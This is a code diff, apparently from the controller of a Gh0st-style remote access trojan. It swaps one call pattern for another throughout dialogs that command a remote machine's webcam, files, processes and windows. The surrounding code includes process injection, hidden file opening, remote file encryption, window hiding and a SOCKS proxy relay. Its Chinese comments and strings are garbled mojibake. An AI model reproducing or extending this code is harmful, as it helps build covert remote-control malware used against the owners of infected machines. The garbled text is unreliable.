@@ -329,7 +329,7 @@ void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
BYTE bToken = COMMAND_WEBCAM_ENABLECOMPRESS;
|
||||
if (!bIsChecked)
|
||||
bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -468,7 +468,7 @@ void CFileManagerDlg::FixedRemoteDriveList()
|
||||
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
|
||||
|
||||
BYTE bPacket = COMMAND_FILE_GETNETHOOD;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bPacket, 1);
|
||||
m_ContextObject->Send2Client(&bPacket, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize)
|
||||
@@ -717,7 +717,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
|
||||
|
||||
bPacket[0] = COMMAND_LIST_FILES;
|
||||
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
|
||||
m_ContextObject->Send2Client(bPacket, PacketSize);
|
||||
LocalFree(bPacket);
|
||||
|
||||
m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
|
||||
@@ -744,7 +744,7 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize);
|
||||
bPacket[0] = COMMAND_FILE_GETINFO;
|
||||
memcpy(bPacket + 1, filename.GetBuffer(0), PacketSize - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
|
||||
m_ContextObject->Send2Client(bPacket, PacketSize);
|
||||
LocalFree(bPacket);
|
||||
}
|
||||
return;
|
||||
@@ -769,7 +769,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
}
|
||||
if (directory.Compare(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>")) == 0) {
|
||||
BYTE byToken = COMMAND_FILE_RECENT;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &byToken, 1);
|
||||
m_ContextObject->Send2Client(&byToken, 1);
|
||||
return;
|
||||
}
|
||||
m_Remote_Path = directory;
|
||||
@@ -779,7 +779,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
|
||||
bPacket[0] = COMMAND_LIST_FILES;
|
||||
memcpy(bPacket + 1, directory.GetBuffer(0), PacketSize - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
|
||||
m_ContextObject->Send2Client(bPacket, PacketSize);
|
||||
LocalFree(bPacket);
|
||||
|
||||
m_Remote_Directory_ComboBox.InsertString(0, directory);
|
||||
@@ -937,7 +937,7 @@ void CFileManagerDlg::OnRemoteView()
|
||||
void CFileManagerDlg::OnRemoteRecent()
|
||||
{
|
||||
BYTE byToken = COMMAND_FILE_RECENT;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &byToken, 1);
|
||||
m_ContextObject->Send2Client(&byToken, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::OnRemoteDesktop()
|
||||
@@ -1131,7 +1131,7 @@ BOOL CFileManagerDlg::SendDownloadJob()
|
||||
|
||||
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
memcpy(bPacket + 1, file.GetBuffer(0), (file.GetLength() + 1) * sizeof(TCHAR));
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||
m_ContextObject->Send2Client(bPacket, nPacketSize);
|
||||
LocalFree(bPacket);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
@@ -1193,7 +1193,7 @@ BOOL CFileManagerDlg::SendUploadJob()
|
||||
memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD));
|
||||
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
|
||||
memcpy(bPacket + 9, fileRemote.GetBuffer(0), (fileRemote.GetLength() + 1) * sizeof(TCHAR));
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||
m_ContextObject->Send2Client(bPacket, nPacketSize);
|
||||
LocalFree(bPacket);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
@@ -1221,7 +1221,7 @@ BOOL CFileManagerDlg::SendDeleteJob()
|
||||
|
||||
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
|
||||
m_ContextObject->Send2Client(bPacket, nPacketSize);
|
||||
LocalFree(bPacket);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
@@ -1376,7 +1376,7 @@ void CFileManagerDlg::CreateLocalRecvFile()
|
||||
SendStop(TRUE);
|
||||
else {
|
||||
// <20><><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>token,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1439,7 +1439,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
|
||||
bToken[0] = COMMAND_CONTINUE;
|
||||
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
|
||||
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1534,13 +1534,13 @@ void CFileManagerDlg::EndRemoteDeleteFile()
|
||||
void CFileManagerDlg::SendException()
|
||||
{
|
||||
BYTE bBuff = COMMAND_FILE_EXCEPTION;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||
m_ContextObject->Send2Client(&bBuff, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::SendContinue()
|
||||
{
|
||||
BYTE bBuff = COMMAND_CONTINUE;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||
m_ContextObject->Send2Client(&bBuff, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::SendStop(BOOL bIsDownload)
|
||||
@@ -1552,7 +1552,7 @@ void CFileManagerDlg::SendStop(BOOL bIsDownload)
|
||||
BYTE bBuff[2];
|
||||
bBuff[0] = COMMAND_STOP;
|
||||
bBuff[1] = bIsDownload;
|
||||
m_iocpServer->Send2Client(m_ContextObject, bBuff, sizeof(bBuff));
|
||||
m_ContextObject->Send2Client(bBuff, sizeof(bBuff));
|
||||
}
|
||||
|
||||
void CFileManagerDlg::ShowProgress()
|
||||
@@ -1668,7 +1668,7 @@ void CFileManagerDlg::SendTransferMode()
|
||||
BYTE bToken[5];
|
||||
bToken[0] = COMMAND_SET_TRANSFER_MODE;
|
||||
memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
void CFileManagerDlg::SendFileData()
|
||||
@@ -1707,7 +1707,7 @@ void CFileManagerDlg::SendFileData()
|
||||
|
||||
if (nNumberOfBytesRead > 0) {
|
||||
int nPacketSize = nNumberOfBytesRead + nHeadLength;
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||
m_ContextObject->Send2Client(lpBuffer, nPacketSize);
|
||||
}
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
@@ -1759,7 +1759,7 @@ void CFileManagerDlg::OnRemoteNewFolder()
|
||||
LPBYTE lpBuffer = new BYTE[nPacketSize];
|
||||
lpBuffer[0] = COMMAND_CREATE_FOLDER;
|
||||
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||
m_ContextObject->Send2Client(lpBuffer, nPacketSize);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -1792,7 +1792,7 @@ void CFileManagerDlg::OnEndLabelEditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), (strExistingFileName.GetLength() + 1) * sizeof(TCHAR));
|
||||
memcpy(lpBuffer + 1 + (strExistingFileName.GetLength() + 1) * sizeof(TCHAR),
|
||||
strNewFileName.GetBuffer(0), (strNewFileName.GetLength() + 1) * sizeof(TCHAR));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||
m_ContextObject->Send2Client(lpBuffer, nPacketSize);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
*pResult = 1;
|
||||
@@ -1802,7 +1802,7 @@ void CFileManagerDlg::OnDelete()
|
||||
{
|
||||
BYTE bBuff;
|
||||
bBuff = COMMAND_FILE_NO_ENFORCE;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bBuff, sizeof(bBuff));
|
||||
m_ContextObject->Send2Client(&bBuff, sizeof(bBuff));
|
||||
OnRemoteDelete();
|
||||
}
|
||||
|
||||
@@ -1810,7 +1810,7 @@ void CFileManagerDlg::OnDeleteEnforce()
|
||||
{
|
||||
BYTE bBuff;
|
||||
bBuff = COMMAND_FILE_ENFOCE;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bBuff, sizeof(bBuff));
|
||||
m_ContextObject->Send2Client(&bBuff, sizeof(bBuff));
|
||||
OnRemoteDelete();
|
||||
}
|
||||
|
||||
@@ -1846,7 +1846,7 @@ void CFileManagerDlg::OnRemoteOpenShow()
|
||||
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
|
||||
lpPacket[1] = m_bUseAdmin;
|
||||
memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -1864,7 +1864,7 @@ void CFileManagerDlg::OnRemoteOpenHide()
|
||||
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
|
||||
lpPacket[1] = m_bUseAdmin;
|
||||
memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -1881,7 +1881,7 @@ void CFileManagerDlg::OnRemoteInfo()
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||
lpPacket[0] = COMMAND_FILE_INFO;
|
||||
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -1900,7 +1900,7 @@ void CFileManagerDlg::OnRemoteEncryption()
|
||||
lpPacket[0] = COMMAND_FILE_Encryption;
|
||||
|
||||
memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -1919,7 +1919,7 @@ void CFileManagerDlg::OnRemoteDecrypt()
|
||||
lpPacket[0] = COMMAND_FILE_Decrypt;
|
||||
|
||||
memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -1940,7 +1940,7 @@ void CFileManagerDlg::OnRemoteCopyFile()
|
||||
lpPacket[0] = COMMAND_FILE_CopyFile;
|
||||
|
||||
memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
ShowMessage(_T("<EFBFBD><EFBFBD>ճ<EFBFBD><EFBFBD>"));
|
||||
}
|
||||
@@ -1951,7 +1951,7 @@ void CFileManagerDlg::OnRemotePasteFile()
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||
lpPacket[0] = COMMAND_FILE_PasteFile;
|
||||
memcpy(lpPacket + 1, m_Remote_Path.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -1975,7 +1975,7 @@ void CFileManagerDlg::OnRemotezip()
|
||||
lpPacket[0] = COMMAND_FILE_zip;
|
||||
|
||||
memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
|
||||
ShowMessage(_T("<EFBFBD><EFBFBD>ʼѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>رմ<EFBFBD><EFBFBD>ڣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
@@ -1984,7 +1984,7 @@ void CFileManagerDlg::OnRemotezip()
|
||||
void CFileManagerDlg::OnRemotezipstop()
|
||||
{
|
||||
BYTE lpPacket = COMMAND_FILE_zip_stop;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &lpPacket, 1);
|
||||
m_ContextObject->Send2Client(&lpPacket, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
@@ -2033,7 +2033,7 @@ void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
BYTE* lpbuffer = new BYTE[sizeof(SEARCH) + 1];
|
||||
lpbuffer[0] = COMMAND_FILE_SEARCHPLUS_LIST;
|
||||
memcpy(lpbuffer + 1, &S_search, sizeof(SEARCH));
|
||||
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)lpbuffer, sizeof(SEARCH) + 1);
|
||||
m_ContextObject->Send2Client((LPBYTE)lpbuffer, sizeof(SEARCH) + 1);
|
||||
SAFE_DELETE_AR(lpbuffer);
|
||||
SetWindowPos(NULL, 0, 0, 830, 830, SWP_NOMOVE);
|
||||
}
|
||||
@@ -2308,7 +2308,7 @@ void CFileManagerDlg::OnCompress()
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||
lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM;
|
||||
memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -2335,7 +2335,7 @@ void CFileManagerDlg::OnUncompress()
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||
lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM;
|
||||
memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -2368,7 +2368,7 @@ void CFileManagerDlg::OnBtnSearch()
|
||||
LPBYTE lpBuffer = new BYTE[nPacketSize];
|
||||
lpBuffer[0] = COMMAND_SEARCH_FILE;
|
||||
memcpy(lpBuffer + 1, &mFileSearchPacket, sizeof(mFileSearchPacket));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||
m_ContextObject->Send2Client(lpBuffer, nPacketSize);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
// <20><><EFBFBD>ð<EFBFBD>ť״̬
|
||||
m_BtnSearch.SetWindowText(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>..."));
|
||||
@@ -2441,7 +2441,7 @@ void CFileManagerDlg::OnBnClickedSearchStop()
|
||||
GetDlgItem(ID_SEARCH_STOP)->EnableWindow(FALSE);
|
||||
// TODO: Add your command handler code here
|
||||
BYTE bToken = COMMAND_FILES_SEARCH_STOP;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -61,7 +61,7 @@ EnHandleResult CProxyConnectServer::OnAccept(ITcpServer* pSender, CONNID dwConnI
|
||||
if (pContext == NULL)
|
||||
return HR_ERROR;
|
||||
|
||||
pContext->InitMember(dwConnID);
|
||||
pContext->InitMember(dwConnID, nullptr);
|
||||
pContext->m_Socket = dwConnID;
|
||||
char szAddress[64] = {};
|
||||
int iAddressLen = sizeof(szAddress);
|
||||
|
||||
@@ -114,7 +114,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
||||
BYTE lpData[5] = "";
|
||||
lpData[0] = COMMAND_PROXY_CLOSE;
|
||||
memcpy(lpData + 1, &index, sizeof(DWORD));
|
||||
g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, lpData, 5);
|
||||
g_pProxyMap->m_ContextObject->Send2Client(lpData, 5);
|
||||
}
|
||||
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӶϿ<D3B6>\r\n"), index);
|
||||
break;
|
||||
@@ -122,7 +122,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
||||
break;
|
||||
case NC_RECEIVE:
|
||||
if (pContext->m_bProxyConnected == 2) {
|
||||
g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0),
|
||||
g_pProxyMap->m_ContextObject->Send2Client(pContext->InDeCompressedBuffer.GetBuffer(0),
|
||||
pContext->InDeCompressedBuffer.GetBufferLength());
|
||||
wsprintf(szMsg, _T("%d <==<3D><> %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
|
||||
} else if (pContext->m_bProxyConnected == 0) {
|
||||
@@ -139,7 +139,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
||||
buf[0] = COMMAND_PROXY_CONNECT; // 1<><31><EFBFBD>ֽ<EFBFBD> ip v4 <20><><EFBFBD><EFBFBD>
|
||||
memcpy(buf + 1, &index, 4); // <20>ĸ<EFBFBD><C4B8>ֽ<EFBFBD> <20><EFBFBD><D7BD>ֵı<D6B5><C4B1><EFBFBD>
|
||||
memcpy(buf + 5, lpData + 4, 6); // 4<>ֽ<EFBFBD>ip 2<>ֽڶ˿<DAB6>
|
||||
g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, buf, sizeof(buf));
|
||||
g_pProxyMap->m_ContextObject->Send2Client(buf, sizeof(buf));
|
||||
in_addr inaddr = {};
|
||||
inaddr.s_addr = *(DWORD*)(buf + 5);
|
||||
char szmsg1[MAX_PATH];
|
||||
@@ -152,7 +152,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
||||
memcpy(HostName + 7, &Socks5Request->szIP, Socks5Request->IP_LEN);
|
||||
memcpy(HostName + 1, &index, 4);
|
||||
memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2);
|
||||
g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8);
|
||||
g_pProxyMap->m_ContextObject->Send2Client(HostName, Socks5Request->IP_LEN + 8);
|
||||
SAFE_DELETE_ARRAY(HostName);
|
||||
wsprintf(szMsg, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> %d \r\n"), index);
|
||||
} else if (lpData[3] == 4) { //ipv6
|
||||
|
||||
@@ -163,7 +163,7 @@ BOOL CMachineDlg::OnInitDialog()
|
||||
|
||||
AdjustList();
|
||||
BYTE lpBuffer = COMMAND_MACHINE_PROCESS;
|
||||
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)&lpBuffer, 1);
|
||||
m_ContextObject->Send2Client((LPBYTE)&lpBuffer, 1);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -333,7 +333,7 @@ void CMachineDlg::reflush()
|
||||
int nID = m_tab.GetCurSel();
|
||||
DeleteList();
|
||||
BYTE TOKEN = MachineManager(nID);
|
||||
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)&TOKEN, 1);
|
||||
m_ContextObject->Send2Client((LPBYTE)&TOKEN, 1);
|
||||
}
|
||||
|
||||
|
||||
@@ -769,8 +769,6 @@ void CMachineDlg::OpenInfoDlg()
|
||||
return;
|
||||
|
||||
CServiceInfoDlg pDlg(this);
|
||||
|
||||
pDlg.m_iocpServer = m_iocpServer;
|
||||
pDlg.m_ContextObject = m_ContextObject;
|
||||
|
||||
pDlg.m_ServiceInfo.strSerName = m_list.GetItemText(nItem, 6);
|
||||
@@ -800,7 +798,7 @@ void CMachineDlg::SendToken(BYTE bToken)
|
||||
lpBuffer[0] = bToken;
|
||||
|
||||
memcpy(lpBuffer + 1, tSerName.GetBuffer(0), tSerName.GetLength() * sizeof(char));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpBuffer, nPacketLength);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
|
||||
@@ -878,7 +876,7 @@ void CMachineDlg::ShowProcessList_menu()
|
||||
lpBuffer[0] = COMMAND_PROCESS_KILLDEL;
|
||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -891,7 +889,7 @@ void CMachineDlg::ShowProcessList_menu()
|
||||
lpBuffer[0] = COMMAND_PROCESS_KILL;
|
||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -904,7 +902,7 @@ void CMachineDlg::ShowProcessList_menu()
|
||||
lpBuffer[0] = COMMAND_PROCESS_FREEZING;
|
||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -917,7 +915,7 @@ void CMachineDlg::ShowProcessList_menu()
|
||||
lpBuffer[0] = COMMAND_PROCESS_THAW;
|
||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -930,7 +928,7 @@ void CMachineDlg::ShowProcessList_menu()
|
||||
lpBuffer[0] = COMMAND_PROCESS_DEL;
|
||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||
m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -967,7 +965,7 @@ void CMachineDlg::ShowProcessList_menu()
|
||||
DWORD wr = 0;
|
||||
ReadFile(hFile, lpBuffer + sizeof(InjectData)+1, p_InjectData->datasize, &wr, NULL);
|
||||
CloseHandle(hFile);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, allsize);
|
||||
m_ContextObject->Send2Client(lpBuffer, allsize);
|
||||
SAFE_DELETE_AR(lpBuffer);
|
||||
}
|
||||
SAFE_DELETE(p_InjectData);
|
||||
@@ -1041,7 +1039,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
DWORD dHow = SW_RESTORE;
|
||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -1056,7 +1054,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
DWORD dHow = SW_HIDE;
|
||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -1070,7 +1068,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
||||
DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1));
|
||||
m_list.SetItemText(nItem, 3, _T("<EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -1085,7 +1083,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
||||
